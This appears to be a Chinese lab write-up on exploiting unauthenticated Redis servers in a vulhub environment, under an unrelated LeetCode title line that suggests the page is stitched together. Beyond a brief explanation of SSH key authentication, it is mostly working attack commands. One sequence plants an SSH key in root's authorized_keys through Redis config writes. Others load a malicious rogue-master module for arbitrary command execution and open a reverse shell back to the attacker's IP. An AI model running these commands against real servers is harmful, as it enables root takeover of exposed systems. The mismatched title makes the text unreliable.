LeetCode 404. 左葉子之和 樹遍歷
0x00漏洞簡介
Redis未授權訪問在4.x/5.0.5以前版本下,我們可以使用master/slave模式載入遠端模組,通過動態連結庫的方式執行任意命令。
0x01漏洞復現
攻擊機:Kali Linux IP:192.168.0.189
靶機:CentOS 7 (內含docker)IP:192.168.2.184 環境:https://github.com/vulhub/vulhub/tree/master/redis/4-unacc
(1)攻擊機環境準備
下載redis:http://download.redis.io/releases/ 解壓:tar -zxvf xxx 進入資料夾編譯:make 授予redis-cli全域性訪問許可權:cp redis-cli /usr/local/bin
(2)對靶機的redis進行埠探測
nmap -p 6379 -script redis-info 192.168.2.184
(3)進行未授權訪問連線
redis-cli -h 192.168.2.184
(4)免金鑰登陸對方主機
SSH提供兩種登入驗證方式,一種是口令驗證也就是賬號密碼登入,另一種是金鑰驗證也就是我們想要的免密登入了,這裡我只簡單說一下金鑰驗證的原理。
所謂金鑰驗證,其實就是一種基於公鑰密碼的認證,使用公鑰加密、私鑰解密,其中公鑰是可以公開的,放在伺服器端,你可以把同一個公鑰放在所有你想SSH遠端登入的伺服器中,而私鑰是保密的只有你自己知道,公鑰加密的訊息只有私鑰才能解密,大體過程如下:
(1)客戶端生成私鑰和公鑰,並把公鑰拷貝給伺服器端;
(2)客戶端發起登入請求,傳送自己的相關資訊;
(3)伺服器端根據客戶端發來的資訊查詢是否存有該客戶端的公鑰,若沒有拒絕登入,若有則生成一段隨機數使用該公鑰加密後傳送給客戶端;
(4)客戶端收到伺服器發來的加密後的訊息後使用私鑰解密,並把解密後的結果發給伺服器用於驗證;
(5)伺服器收到客戶端發來的解密結果,與自己剛才生成的隨機數比對,若一樣則允許登入,不一樣則拒絕登入。
如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器。
#生成ssh公鑰 ssh-keygen -t rsa #將該金鑰複製到gongyao.txt種 (echo -e ""\n\n"; cat id_rsa.pub; echo -e ""\n\n") > gongyao.txt #將gongyao.txt傳到靶機 cat gongyao.txt | redis-cli -h 192.168.2.184 -x set crackit #登陸靶機,路徑修改為root/.ssh redis-cli -h 192.168.2.184 config set dir /root/.ssh config set dbfilename authorized_keys save #遠端登陸 ssh -i /root/.ssh/id_rsa [email protected]
0x02 EXP
(1)任意命令執行:https://github.com/vulhub/redis-rogue-getshell
kali Linux 位置:/hack/redis-rogue-getshell/redis-master.py
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
(2)反彈shell:https://github.com/Ridter/redis-rce
Kali Linux 位置:/hack/redis-rogue-getshell/redis-rce.py
python3 redis-rce.py -r 192.168.2.184 -L 192.168.0.189 -f RedisModulesSDK/exp.so